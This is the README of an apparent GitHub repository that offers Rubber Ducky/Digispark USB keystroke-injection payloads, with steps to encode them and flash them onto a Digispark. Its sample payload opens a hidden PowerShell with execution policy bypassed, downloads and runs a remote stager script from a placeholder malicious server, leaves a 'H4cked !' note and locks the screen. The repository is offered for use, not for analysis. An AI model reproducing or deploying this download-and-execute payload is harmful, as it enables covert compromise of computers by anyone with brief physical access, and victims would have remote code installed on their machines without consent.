Skip to content

Misc sample of payload for rubberducky (digispark in reality)

Notifications You must be signed in to change notification settings

k-lfa/fuckyducky

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

Miscellaneous payload for rubberducky

Here, you can found :

  • sample of script stager
  • sample of payload dropper (rubber ducky)
  • Other things (logger, etc ...)

Of course, for linux and windows !

you must have this 2 github script

https://github.com/hak5darren/USB-Rubber-Ducky https://github.com/mame82/duck2spark

How work ? (tutorial in https://k-lfa.info/digispark-hacking/)

  1. Make your rubberduck payload (in dropper context)
GUI r
DELAY 300
STRING powershell.exe -exec bypass -w hidden -nop -c "iex(New-Object System.Net.WebClient).DownloadString('https://maliciousserver/stager.ps1')"
DELAY 800
ENTER
DELAY 700
GUI r
DELAY 200
STRING notepad
DELAY 300
ENTER
DELAY 100
STRING H4cked !
DELAY 200
GUI l
  1. Encode your payload (with duckencoder) (Don't forget the keyboard context ! qwerty or azerty)
java -jar duckencoder.jar -i duckpayload.txt -o ducky.bin -l fr
  1. Translate your payload in C++ code
python duck2spark/duck2spark.py -i ducky.bin -l 1 -o Payload.bin
  1. Copy / Paste your C++ code in Arduino IDE and Upload this in digispark !

Enjoy

About

Misc sample of payload for rubberducky (digispark in reality)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published